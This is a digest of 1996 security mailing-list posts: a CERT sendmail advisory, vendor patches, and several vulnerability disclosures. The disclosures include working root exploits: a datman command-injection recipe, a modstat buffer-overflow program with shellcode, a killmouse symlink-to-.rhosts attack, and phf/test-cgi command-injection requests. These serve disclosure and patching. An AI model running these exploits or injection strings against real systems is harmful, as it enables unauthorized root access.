team recommends installing vendor patches or upgrading to the current version of sendmail (8.8.4). Until you can do so, we urge you to apply the workaround provided in Section III.C. In all cases, be sure to take the extra precautions listed in Section III.D. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. In addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail to identify the most current version of sendmail. - ----------------------------------------------------------------------------- I. Description When sendmail causes mail to be delivered to a program listed in a .forward or :include: file, that program is run with the group permissions possessed by the user who owns that .forward or :include: file. The file's owner attribute is used to initialize the list of group permissions that are in force when the program is run. This list is determined by scanning the /etc/group file, NIS or NIS+ group maps, or other similar vendor-specific databases (such as netinfo on OpenStep). It is possible for users to obtain group permissions they should not have by linking to a file that is owned by someone else, but on which they have group write permissions. By changing that file, users can acquire the group permissions of the owner of that file. Exploitation is possible if the attacked user has a file that is group writable by the attacker on the same file system as either (a) the attacker's home directory or (b) an :include: file that is referenced directly from the aliases file and is in a directory writable by the attacker. The first (.forward) attack only works against root. This attack does not give users root "owner" permissions, but does give them access to the groups that list root in /etc/group. II. Impact A local attacker can gain the group permissions of another user. III. Solution Install a patch from your vendor if one is available (Section A) or upgrade to the current version of sendmail (Section B). Until you can take one of those actions, we recommend applying the workaround described in Section C. In all cases, you should take the precautions described in Section D. A. Install a vendor patch. Below is a list of vendors who have provided information about sendmail. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) Digital Equipment Corporation FreeBSD, Inc. Hewlett-Packard Company IBM Corporation NEC Corporation The Santa Cruz Operation, Inc. (SCO) Silicon Graphics Inc Solbourne (Grumman Support Systems) Sun Microsystems, Inc. B. Upgrade to the current version of sendmail. Install sendmail 8.8.4. This version is a "drop in" replacement for 8.8.x. There is no patch for any version of sendmail before 8.8.0. If you are running such a version, strongly consider moving to version 8.8.4. Sendmail 8.8.4 is available from ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.8.4.tar.gz ftp://info.cert.org/pub/tools/sendmail/sendmail.8.8.4.tar.gz ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.8.4.tar.gz ftp://ftp.auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu/ucb/sendmail/ MD5 (sendmail.8.8.4.tar.gz) = 64ce6393a6968a0dc7c6652dace127b0 Also in that directory are .Z and .sig files. The .Z file contains the same bits as the .gz file, but is compressed using UNIX compress instead of gzip. The .sig is Eric Allman's PGP signature for the uncompressed tar file. The key fingerprint is Type bits/keyID Date User ID pub 1024/BF7BA421 1995/02/23 Eric P. Allman Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29 Eric P. Allman Eric P. Allman Eric P. Allman Eric P. Allman When you change to a new version of sendmail, we strongly recommend also changing to the configuration files that are provided with that version. Significant work has been done to make this task easier. (In fact, it is highly likely that older configuration files will not work correctly with sendmail version 8.) It is now possible to build a sendmail configuration file (sendmail.cf) using the configuration files provided with the sendmail release. Consult the cf/README file for a more complete explanation. Creating your configuration files using this method makes it easier to incorporate future changes to sendmail into your configuration files. Sun sendmail users: A paper is available to help you convert your sendmail configuration files from the Sun version of sendmail to one that works with sendmail version 8.8.x. The paper is entitled "Converting Standard Sun Config Files to Sendmail Version 8" and was written by Rick McCarty of Texas Instruments Inc. It is included in the distribution and is located in contrib/converting.sun.configs. C. Apply a workaround. Eric Allman, the author of sendmail, has provided the following workaround. Note that this workaround is for sendmail 8.8.3. If you are running a version less than 8.8.3 we strongly recommend to upgrade at least to that version (or install the appropriate vendor patches). See CERT advisories CA-95:08 and CA-96.24 for more information on vulnerabilities in older sendmail versions. Set the UnsafeGroupWrites option in the sendmail.cf file. This option tells sendmail that group-writable files should not be considered safe for mailing to programs or files, causing sendmail to refuse to run any programs referenced from group-writable files. Setting this option is a good idea in any case, but may require your users to tighten permissions on their .forward files and :include: files. The command "find -user root -type f -perm -020 -print" will print the names of all files owned by root that are group writable on a given file system. While this is only a partial solution we encourage you to carefully check all entries in your alias and .forward files (incl. aliases obtained via NIS, NIS+, or similar information systems) to check for group writable files. In addition, group memberships should be audited regularly. Users should not be in groups without a specific need. In particular, root generally does not need to be listed in most groups. As a policy matter, root should have a umask of 022 so that group-writable files are made consciously. Also, the aliases file should not reference :include: files in writable directories. While checking for writable directories, it's not enough to check the permissions of the directory the file itself lives in. You also have to check all other directories "on top" of that dir. If you, for example, want to check the permissions of the file /where/ever/here/file you have to check for group-write permissions not only in the directory /where/ever/here but also check the directories /where/ever and /where. D. Take additional precautions Regardless of which solution you apply, you should take these extra precautions to protect your systems. These precautions do not address the vulnerabilities described herein, but are recommended as good practices to follow for the safer operation of sendmail. * Use the sendmail restricted shell program (smrsh) With *all* versions of sendmail, use the sendmail restricted shell program (smrsh). You should do this whether you use vendor-supplied sendmail or install sendmail yourself. Using smrsh gives you improved administrative control over the programs sendmail executes on behalf of users. A number of sites have reported some confusion about the need to continue using the sendmail restricted shell program (smrsh) when they install a vendor patch or upgrade to a new version of sendmail. You should always use the smrsh program. smrsh is included in the sendmail Version 8 distribution in the subdirectory smrsh. See the RELEASE_NOTES file for a description of how to integrate smrsh into your sendmail configuration file. smrsh is also distributed with some operating systems. * Use mail.local If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with mail.local, which is included in the sendmail distribution. As of Solaris 2.5 and beyond, mail.local is included with the standard distribution. It is also included with some other operating systems distributions, such as FreeBSD. Although the current version of mail.local is not a perfect solution, it is important to use it because it addresses vulnerabilities that are being exploited. For more details, see CERT advisory CA-95:02. To use mail.local, replace all references to /bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based configuration scheme provided with sendmail 8.X, add the following to your configuration file: define(`LOCAL_MAILER_PATH', /usr/lib/mail.local) * WARNING: Check for setuid executable copies of old versions of mail programs If you leave setuid executable copies of older versions of sendmail installed in /usr/lib (on some systems, it may be installed elsewhere), the vulnerabilities in those versions could be exploited if an intruder gains access to your system. This applies to sendmail.mx as well as other sendmail programs. Either delete these versions or change the protections on them to be non-executable. Similarly, if you replace /bin/mail with mail.local, remember to remove old copies of /bin/mail or make them non-executable. IV. Additional Notes Three other sendmail vulnerabilities are described in CERT advisory CA-96.20 and CA-96.24; see those advisories for details. Sendmail 8.8.4 also fixes a denial-of-service attack. If your system relies on the TryNullMXList option to forward mail to third-party MX hosts, an attacker can force that option off, thereby causing mail to bounce. As a workaround, you can use the mailertable feature to deliver to third party MX hosts regardless of the setting of the TryNullMXList option. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, please contact the vendor directly. Berkeley Software Design, Inc. ============================== BSD/OS is vulnerable to this problem and a patch (U210-030) is available from our mail-back patches server at or via ftp at ftp://ftp.BSDI.COM/bsdi/patches/patches-2.1/U210-030 Digital Equipment Corporation ============================= This problem is currently under review by engineering to determine if it impacts DIGITAL UNIX and DIGITAL ULTRIX sendmail implementations. FreeBSD, Inc. ============= FreeBSD versions 2.1.5, 2.1.6, and 2.1.6.1 are affected by the group vulnerability. Versions 2.1.6 and 2.1.6.1 are affected by the denial of service vulnerability. All known sendmail security problems will have been addressed prior to the upcoming 2.2 release. Given the complex nature of the patches produced by the sendmail author, user's are encouraged to follow the workarounds described in this advisory or apply and install patches available directly from the author to upgrade to Sendmail 8.8.4 available from the URLs listed in this advisory. We believe FreeBSD version 2.1.0 and prior to be unaffected by these particular vulnerabilities, however there are significant other security vulnerabilities in the sendmail supplied in prior releases. All FreeBSD users should consider upgrading to sendmail 8.8.4 or removing sendmail from their systems if they are concerned about unauthorized root access from an unprivileged user account. Hewlett-Packard Company ======================= Vulnerabilities --------------- 1. Sendmail Group Permissions Vulnerability 2. Denial of Service Attack using the sendmail configuration variable TryNullM\XList. Vulnerable releases -------------------- 9.x pre-10.2 10.x 10.2 The 9.x, pre-10.2 10.x sendmail is vulnerable with respect to the "Sendmail Group Permissions Vulnerability". The 10.2 sendmail is vulnerable with respect to both the reported security holes. Patches for these vulnerabilities are in progress. IBM Corporation =============== The version of sendmail that ships with AIX is vulnerable to the conditions listed in this advisory. A fix is in progress and the APAR numbers will be available soon. IBM and AIX are registered trademarks of International Business Machines Corporation. NEC Corporation =============== Checking out the vulnerability. Contacts for further information by e-mail:UX48-security-support@nec.co.jp. The Santa Cruz Operation, Inc. (SCO) ==================================== Any SCO operating system running a version of sendmail provided by SCO is vulnerable to this problem. SCO will soon be providing a Support Level Supplement, (SLS), to address this issue for the following releases of SCO software: SCO Internet FastStart release 1.0.0, 1.1.0 SCO OpenServer releases 5.0.0 and 5.0.2 The SLS will provide a version of sendmail release 8.8.4 for these platforms. Note that only SCO Internet FastStart uses sendmail as the default mail system. All other SCO operating systems use other mail systems such as the Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr" mail system as the default, and as such are not vulnerable to this problem unless otherwise configured to use sendmail. Please watch the following URLs for availability information: ftp://ftp.sco.COM/SLS/README ftp://ftp.sco.COM/SSE/README Silicon Graphics Inc. ===================== Currently Silicon Graphics Inc does not provide a 8.8.x sendmail version but instead provides a 8.6.12 version. Silicon Graphics has evaluated this issue as possibly applicable to the 8.6.12 version provided by Silicon Graphics and has not found this version to be vulnerable. No further action is required. Solbourne (Grumman Support Systems) ================================== Solbourne customers running the supported sendmail version SendMail version 1.1 of 92/11/12 are not vulnerable to this 'denial-of-service' attack. Those Solbourne customers running later versions of sendmail are probably vulnerable and should consider applying the workaround or installing the latest version of sendmail. No patches are available. Sun Microsystems, Inc. ====================== All Sun sendmails are susceptible to both vulnerabilities. We will produce and announce patches for all supported versions of SunOS. We expect the patches to be available later this month. - ----------------------------------------------------------------------------- The CERT Coordination Center thanks Eric Allman, AUSCERT, Terry Kyriacopoulos of Interlog Internet Services, and Dan Bernstein of the University of Illinois, Chicago for their contributions to the development of this advisory. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - ---------------------------- Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to cert-advisory-request@cert.org - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.25.sendmail_groups http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMq2nD3VP+x0t4w7BAQHWwwQAhlzOBeMl6hMM0FV/ugk4hwRnsiaMxf2P Yjf9vywCJVS9Fm3O4WhqZppm2p/VIb2S+81Uw4mKOLs/JXHLSPS7l1300L4SoqVE KDmTCeBemAGmZMsKBNQWCbKuCxrJJ+Hze09WM4p/6C1oF1EFCX93nNzwfMSs7Vcu m7gmk48fReU= =iiN8 -----END PGP SIGNATURE----- ------------------------------ Date: Mon, 9 Dec 1996 16:07:38 -0600 From: Yuri Volobuev To: Multiple recipients of list BUGTRAQ Subject: Irix: datman hole, errata Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII Howdy, ABSTRACT /usr/sbin/datman, which is also invoked by running cdman, or double-clicking on cdrom icon on the desktop, is suid and buggy. It can be used by any local user to obtain root privileges (contrary to previously published information). Both Irix 5.3 and 6.2 are vulnerable, if dmedia_tools.sw.cddat subsystem is installed. FIX chmod -s /usr/sbin/datman This will break it. Another approach is to create a special group, 'console' or something like it, which only includes trusted people who have physical access to the system and thus may need functionality of cdman/datman, and only allow datman execution access to this group of trusted people, but not to everybody. This will reduce the risk, but as long as program is root owned and suid, vulnerability is there. ERRATA As some of you may remember, few weeks ago I posted cdplayer exploit on bugtraq. Among other things, it was saying >(it will break it, but it's no big deal, there's a program called cdman, >usually invoked by double-clicking CD ROM icon on the desktop, that does the >same thing, only better, and it's not suid). As some friendly fellow pointed out (sorry, I don't have his name, I lost that message), this is an untrue. /usr/sbin/cdman is just a symlink to /usr/sbin/datman, which is indeed suid. And, of course, one can get root out of it, apparently with much less hassle than cdplayer, it was obvious from the very first look at the datman file size (803Kb), from that moment on it was just a matter of time. I apologize for giving people false feeling of safety (not that people should believe what I'm saying; but when what I'm saying is repeated by more trustworthy organizations like AUSCERT, it's more dangerous). If you are a busy person, move on to your next message now. FULL STORY I promised I'll stop cracking those defenseless suid programs (temporarily), but few things made me step back on hacking path. Most significantly, today morning I came across AUSCERT advisory AA-96.11, which describes the cdplayer problem. I didn't know it was out. It essentially repeats my original post, but of course doesn't mention my name. It'd be all right, but what pisses me off is that they didn't even verify what I was saying. What kind of service is that? They charge people serious money for their services, and after that most of their advisories just paraphrase original exploits posted by other people, without giving them any credit, and they apparently don't even double-check the information in the posts. There are not so many easy (and legal) ways to make money as good as that. Do nothing, repost other's work, collect cash. Hey, AUSCERT, what makes you suggest people cdman as a safer way to play cdroms? Did you check if it is safe? Did you spare half an hour to look through the executable to see that it's as broken as cdplayer? Too bad you didn't, half an hour would be sufficient. /usr/sbin/datman is essentially a fatter, more featured version of cdplayer (or cdplayer is stripped down datman, whatever). They do the same stuff in regard to cd-rom databases. However, datman calls setreuid(0, realuid) at the very beginning, so uid stays 0, but euid is whatever user's uid is. Interesting idea, it works in the sense that all created files are owned by user, but it doesn't help much otherwise. For backward compatibility reasons, upon startup datman looks for a file .cdplayerrc in the home directory. If it exists, and directory ~/.cddb doesn't exists, it will ask if you want to convert .cdplayerrc to .cddb. If you answer yes, it will invoke /usr/sbin/cddbcvt, giving old and new database names as arguments to it. Using system(). What more can be said? % cat > /tmp/makesh.c main() { seteuid(0); setegid(0); system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); } % cc /tmp/makesh.c -o /tmp/makesh % mv .cddb .cddb.old % touch .cdplayerrc % /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh" Created "/tmp/blah" Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah % ls -l /tmp/sh -r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh* In above example, few dialog windows will pop up after starting datman. Just press enter in each of them. Make sure your DISPLAY is set correctly. Note though you can pass arbitrary shell commands to sh in -dbcdir, these commands will be executed with euid set to your uid, so seteuid(0) needs to be called first. A note to security folks everywhere. People. Why do you all ignore hackers? Why try to keep face and pretend hackers are not out there? Why don't you give them a credit for their work? Why don't you cooperate with them? One may say that hackers are bad people, and don't deserve any recognition. This is wrong. Predators in nature represent a vital part of environment. They serve many vital purposes, most importantly, they keep natural selection going. By killing weak they make animals get stronger and faster. This doesn't mean a zebra should like the lioness that killed it. But nevertheless, overall zebra community should be thankful to the fact that lions exist. Hackers are predators in computer world, often ruthless and extremely dangerous. But the very fact that they are out there makes entire branch of computer industry, computer security, exist. Hackers make developers design their programs better, and after all they are the reason why the modern computer world is as secure as it is (whatever this means). But even though developers have each and every right to hate hackers, why do security folks dislike them? These people are getting paid because of hackers, hackers are the very reason for their positions existence, and still only few smarter vendors have enough sense to at least admit the problem disclosed by a hacker. This is very sad. Not only it's disappointing, it ultimately may lead to some BAD things. This exploit is dedicated to AUSCERT. cheers, yuri Always speaking for myself and only for myself ------------------------------ Date: Mon, 9 Dec 1996 08:36:26 -0500 (EST) From: Who cares what the hell goes into a Gecos field anyway! To: bugtraq@netspace.org, best-of-security@suburbia.net Subject: L0pht Advisory: modstat Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII L0pht Security Advisory Advisory released Dec 9 1996 Application: modstat Vulnerability Scope: systems with the *BSD distribution of modstat sgid kmem Severity: Users can gain group kmem permissions and thus read DES keys, passwords, and in certain situations panic the machine (you know, the standard things you can do with group kmem perms). Author: mudge@l0pht.com Overview: Modstat is sgid kmem which is really handy to become if you feel like looking through /dev/mem and /dev/kmem (gee, wonder what you might want to do that for ). Like just about everything else under the sun it has a buffer overflow problem. The problem exists in the dostat() routine where an arbitrary sized string is shoved into sbuf.name through a strcpy(). It is also possible to panic many systems by reading through all memory. With memory mapped architectures you will set various flags for having read values and touched registers - since the system is expecting these registers to be in certain states, tripping them to other states can cause bizarre results can occur. A quick example is to md5 through your interface to memory and watch the confusion that can occur in certain systems ;-) So yes, in many cases being group kmem will let you shutdown a machine in a roundabout way... even with just Read-Only abilities. The difference between this and some other buffer overflow code is that this, much like my original syslog() code has to be placed "after" the saved stack frame since you only have under 57 bytes to deal with. However, we don't care that we might be munging the original args and environment vars now do we ;-). Care must still be taken to make sure the code does not contain NULL's as strcpy will end upon it's first NULL. mudge@l0pht.com --- Check out http://www.l0pht.com/advisories.html for other l0pht advisories --- /******************************************************************** * modstat buffer overflow code - mudge@l0pht.com * * 8/11/96 * * Done initially on FreeBSD as my BSDI box is down right now... * * sigh. It should work on any x86 arch with the standard *BSD * * implementation as they all use the same opcodes and operands. * * Go grab the splitvt code if you want this to work on Linux. * * * * try with offsets of -48, 7, 271, 326 with the way this is curr. * * setup. If these fail, brute force it . * * * * Many thanks to bitwrior for initially finding the code problem * * in modstat and pointing it out to me - It's always nice when * * someone hands you a bone to gnaw on without wanting * * anything in particular out of it [this I know 'cause he has no * * problems writing this sort of thing on his own]. * *******************************************************************/ #include #include long get_esp(void) { __asm__("movl %esp, %eax\n"); } main(int argc, char **argv) { int i, j, offset; char *bar, *foo; unsigned long *esp_plus = NULL; char mach_codes[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; if (argc == 2) offset = atoi(argv[1]); else { fprintf(stderr, "Usage: %s offset\n", argv[0]); exit(1); } bar = malloc(4096); if (!bar){ printf("failed to malloc memory\n"); exit(1); } foo = bar; /* copy of original ptr */ esp_plus = (long *)bar; for(i=0; i < 24 ; i++) *(esp_plus++) = (get_esp() + offset); printf("Using offset (0x%x)\n", (get_esp() + offset)); bar = (char *)esp_plus; for(j=0; j< strlen(mach_codes); j++) *(bar++) = mach_codes[j]; *bar = 0; execl("/usr/bin/modstat", "modstat", "-n", foo, NULL); } ------------------------------ Date: Thu, 12 Dec 1996 06:14:39 -0800 (PST) From: To: rah@shipwright.com (Robert Hettinga) Cc: bos@suburbia.net Subject: Re: NEWS: Web Security Hole Revealed Message-Id: <199612121414.GAA03843@ca.sandia.gov> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit according to Robert Hettinga: ... > Subject: NEWS: Web Security Hole Revealed > Approved: proff@suburbia.net > > BREAKING NEWS > For Release Thursday, December 12, 1996 > > MAJOR WEB SECURITY FLAW REVEALED > > (New York) -- Edward Felten, head of Princeton University's > Safe Internet Programming Team (SIP), today revealed a > major security flaw in the Internet's World Wide Web. > Called "web spoofing," the breach allows any Internet > server to place itself between a user and the rest of the > web. In that middle position, the server may observe, steal > and alter any information passing between the unfortunate > browser and the web. Hardly new - this was listed more than a year ago in "50 ways to attack your world wide web systems", published last spring in network security magazine, and discussed at at least 3 conferences over the last year - but we didn't do press releases - so I guess "new and exciting" can be added to "old and well-known" to produce good PR FC All statements made and opinions expressed herein are solely those of the author. They almost certainly DO NOT reflect the views of: Sandia National Laboratories, The U.S. Department of Energy, OR Lockheed/Martin. Fred Cohen can be reached at tel:510-294-2087 fax:510-294-1225 ------------------------------ Date: Fri, 13 Dec 1996 00:36:00 CST From: *Hobbit* To: best-of-security@suburbia.net Subject: BoS: [nph]test-cgi Message-ID: Interesting how many people are suddenly coming out of the woodwork as though test-cgi was a new problem. With minor variants, both scripts are a problem in a couple of areas. Crank each of these plus a couple of newlines into your server and see what you get: GET /cgi-bin/test-cgi?* HTTP/1.0 GET /cgi-bin/test-cgi?x * GET /cgi-bin/nph-test-cgi?* HTTP/1.0 GET /cgi-bin/nph-test-cgi?x * not to mention GET /cgi-bin/phf?Q=x%0apwd GET /cgi-bin/phf?Q=x%ffpwd then NUKE everything in that cgi-bin dir and replace what you need with well-written standalone PROGRAMS that start by mistrusting their environment. _H* ------------------------------ Date: Fri, 13 Dec 1996 13:45:43 -0800 From: Eric Allman To: best-of-security@suburbia.net Subject: BoS: Re: sendmail 8.8.4 and initgroups (fwd) Message-ID: <199612132145.NAA26354@knecht.Oxford.Reference.COM> Woops.... I'm told I omitted the patch from my mail of earlier this morning. This message has the patch. My apologies. eric ------- main.c ------- *** - Wed Dec 31 16:00:00 1969 --- main.c Fri Dec 6 11:01:10 1996 *************** *** 139,144 **** --- 139,145 ---- extern void printqueue __P((void)); extern void sendtoargv __P((char **, ENVELOPE *)); extern void resetlimits __P((void)); + extern void drop_privileges __P((void)); /* ** Check to see if we reentered. *************** *** 202,207 **** --- 203,211 ---- tTsetup(tTdvect, sizeof tTdvect, "0-99.1"); + /* drop group id privileges (RunAsUser not yet set) */ + drop_privileges(); + /* Handle any non-getoptable constructions. */ obsolete(argv); *************** *** 780,789 **** if (OpMode != MD_DAEMON && OpMode != MD_FGDAEMON) { /* drop privileges -- daemon mode done after socket/bind */ ! if (RunAsGid != 0) ! (void) setgid(RunAsGid); ! if (RunAsUid != 0) ! (void) setuid(RunAsUid); } /* --- 784,790 ---- if (OpMode != MD_DAEMON && OpMode != MD_FGDAEMON) { /* drop privileges -- daemon mode done after socket/bind */ ! drop_privileges(); } /* *************** *** 1292,1301 **** nullserver = getrequests(CurEnv); /* drop privileges */ ! if (RunAsGid != 0) ! (void) setgid(RunAsGid); ! if (RunAsUid != 0) ! (void) setuid(RunAsUid); /* at this point we are in a child: reset state */ (void) newenvelope(CurEnv, CurEnv); --- 1293,1299 ---- nullserver = getrequests(CurEnv); /* drop privileges */ ! drop_privileges(); /* at this point we are in a child: reset state */ (void) newenvelope(CurEnv, CurEnv); *************** *** 1956,1961 **** --- 1954,1984 ---- syslog(LOG_ALERT, "could not exec %s: %m", SaveArgv[0]); #endif exit(EX_OSFILE); + } + /* + ** DROP_PRIVILEGES -- reduce privileges to those of the RunAsUser option + ** + ** Parameters: + ** none. + ** + ** Returns: + ** none. + */ + + void + drop_privileges() + { + #ifdef NGROUPS_MAX + /* reset group permissions; these can be set later */ + GIDSET_T emptygidset[NGROUPS_MAX]; + + emptygidset[0] = RunAsGid == 0 ? geteuid() : RunAsGid; + (void) setgroups(1, emptygidset); + #endif + if (RunAsGid != 0) + (void) setgid(RunAsGid); + if (RunAsUid != 0) + (void) setuid(RunAsUid); } /* ** TESTMODELINE -- process a test mode input line ------- queue.c ------- *** - Wed Dec 31 16:00:00 1969 --- queue.c Fri Dec 6 11:01:16 1996 *************** *** 527,532 **** --- 527,533 ---- extern ENVELOPE BlankEnvelope; extern void clrdaemon __P((void)); extern void runqueueevent __P((bool)); + extern void drop_privileges __P((void)); /* ** If no work will ever be selected, don't even bother reading *************** *** 631,642 **** /* drop privileges */ if (geteuid() == (uid_t) 0) ! { ! if (RunAsGid != (gid_t) 0) ! (void) setgid(RunAsGid); ! if (RunAsUid != (uid_t) 0) ! (void) setuid(RunAsUid); ! } /* ** Create ourselves an envelope --- 632,638 ---- /* drop privileges */ if (geteuid() == (uid_t) 0) ! drop_privileges(); /* ** Create ourselves an envelope ------------------------------ Date: Sun, 15 Dec 1996 00:50:41 +1100 (EST) From: proff@suburbia.net To: best-of-security@suburbia.net Subject: BoS: Vulnerability in FreeBSD2.2 password creation Message-ID: <19961214135041.1660.qmail@suburbia.net> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit The FreeBSD account administration pw suite is able to produce "random" passwords for new accounts. Due to the simplicity of the password generation algorithm involved, the passwords are easily predictable amid a particular range of possibilities. This range may be very narrow, depending on what sort of information is available to the attacker. The pid and the current time in seconds are ored (NOT xored) together and used as the seed. Because of this, the probability of a lower bit in the seed of being on is 3/4. The msb's of the seed change very slowly and predictably over time and in effect contain no entropy. If the attacker has access to the file system then the time the account was created on can by guessed very accurately by examining the creation date of the new account's directory, or the creation date of the new account's mail spool file. With the time part of the seed known it is then possible to generate a mask to eliminate 50% of the remaining possible pid values. The pid can be further approximated retrospectively by correlation between time stamps and pid values from a wide number of file system sources such as the pid of the sendmail task used to deliver the new-user mail, to names of /tmp and queue files. An active attack (looking for the "pw" process or other signs of account creation) will of course locate the pid very closely, if not exactly. The attached patch addresses the problem. -Julian A. (proff@suburbia.net) --- /usr/src/usr.sbin/pw/pw_user.c.orig Thu Dec 12 02:10:47 1996 +++ /usr/src/usr.sbin/pw/pw_user.c Sat Dec 14 11:37:50 1996 @@ -33,6 +33,10 @@ #include #include #include +#include +#include +#include +#include #include "pw.h" #include "bitmap.h" #include "pwupd.h" @@ -738,19 +742,61 @@ return strcpy(buf, crypt(password, salt)); } +u_char * +pw_genmd5rand (u_char *d) /* cryptographically secure rng */ +{ + MD5_CTX md5_ctx; + struct timeval tv, tvo; + struct rusage ru; + int n=0; + int t; + MD5Init (&md5_ctx); + t=getpid(); + MD5Update (&md5_ctx, (u_char*)&t, sizeof t); + t=getppid(); + MD5Update (&md5_ctx, (u_char*)&t, sizeof t); + gettimeofday (&tvo, NULL); + do { + getrusage (RUSAGE_SELF, &ru); + MD5Update (&md5_ctx, (u_char*)&ru, sizeof ru); + gettimeofday (&tv, NULL); + MD5Update (&md5_ctx, (u_char*)&tv, sizeof tv); + } while (n++<20 || tv.tv_usec-tvo.tv_usec<100*1000); + MD5Final (d, &md5_ctx); + return d; +} + +static u_char * +pw_getrand(u_char *buf, int len) +{ + int fd; + fd = open("/dev/urandom", O_RDONLY); + if (fd == -1|| read(fd, buf, len)!=len) { + int n; + for (n=0;ndefault_password) { case -1: /* Random password */ srandom((unsigned) (time(NULL) | getpid())); l = (random() % 8 + 8); /* 8 - 16 chars */ + pw_getrand(rndbuf, l); for (i = 0; i < l; i++) - pwbuf[i] = chars[random() % sizeof(chars)]; + pwbuf[i] = chars[rndbuf[i] % sizeof(chars)]; pwbuf[i] = '\0'; /* ------------------------------ Date: Sat, 14 Dec 1996 23:59:52 +0100 From: Bo To: best-of-security@suburbia.net Subject: BoS: Linux: exploit for killmouse. Message-ID: <199612142259.XAA18875@ebony.iaehv.nl> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit A word to the moderator: Hi Aleph. It seems you were right in that if you look hard enough, the root bugs will come your way. This time I have checked Underground before I submitted this, and the linux bugs collection do not mention this bug, so maybe I actually found a new one? It's hard to believe since it's such a lamer , very much like the autoreply(1) bug. Let me know if I am onto something here, okay? System: Probably Linux specific. Slackware 3.0 (installs Linux 1.2.13) which have gpm utility and/or the Doom package installed are vulnerable. Other distributions might be too. Impact: Local users can acquire root status. Background: The problem is the killmouse/startmouse command that is part of Doom package on Linux systems. It is actually a C-wrapper that runs two scripts (killmouse.sh/startmouse.sh). It runs suid root. /usr/games/doom/startmouse.sh: #!/bin/sh if [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled fi /usr/games/doom/killmouse.sh: #!/bin/sh if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled fi Problem: I would try to describe the problem but I can't stop laughing. Exploit: This can be exploited in a few similar ways. Here's just one. Let's assume the gpm utility is not running. We can't start it up ourselves as gpm is only to be run by root. So we'll use startmouse to fire it up: $ touch /tmp/gpmkilled $ /usr/games/doom/startmouse ps -aux | grep gpm bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms Fine, it's running. Now we'll use killmouse to kill the process, but first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts: $ umask 0 $ ln -s /root/.rhosts /tmp/gpmkilled $ /usr/games/doom/killmouse 1407 ? S 0:00 gpm t ms $ ls -l /root/.rhosts -rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts $ echo localhost bo > /root/.rhosts $ rsh -l root localhost sh -i bash# Bingo. On some systems gpm might not be started in /etc/rc.d/rc.local so the startmouse script will fail. But gpm might be running already. If neither of these conditions are met, note that startmouse.sh creates /tmp/gpmscript and runs it in a shell. There's a window of time between creating the script and executing it, so we have a nice race condition here; it can be replaced with anything you like prior to execution. Solution: Remove setuid bits of killmouse/startmouse. Better yet - nuke them. While your at it, nuke Doom too - it's a stupid game anyway :-) Best regards, Bo (bo@ebony.iaehv.nl) -- "Heisenberg may have been here". ------------------------------ Date: Sat, 14 Dec 1996 20:05:22 -0600 From: Joe Zbiciak To: best-of-security@suburbia.net Subject: BoS: Re: Linux: exploit for killmouse. Message-ID: <199612150205.UAA08402@cegt201.bradley.edu> Content-Type: text/plain; 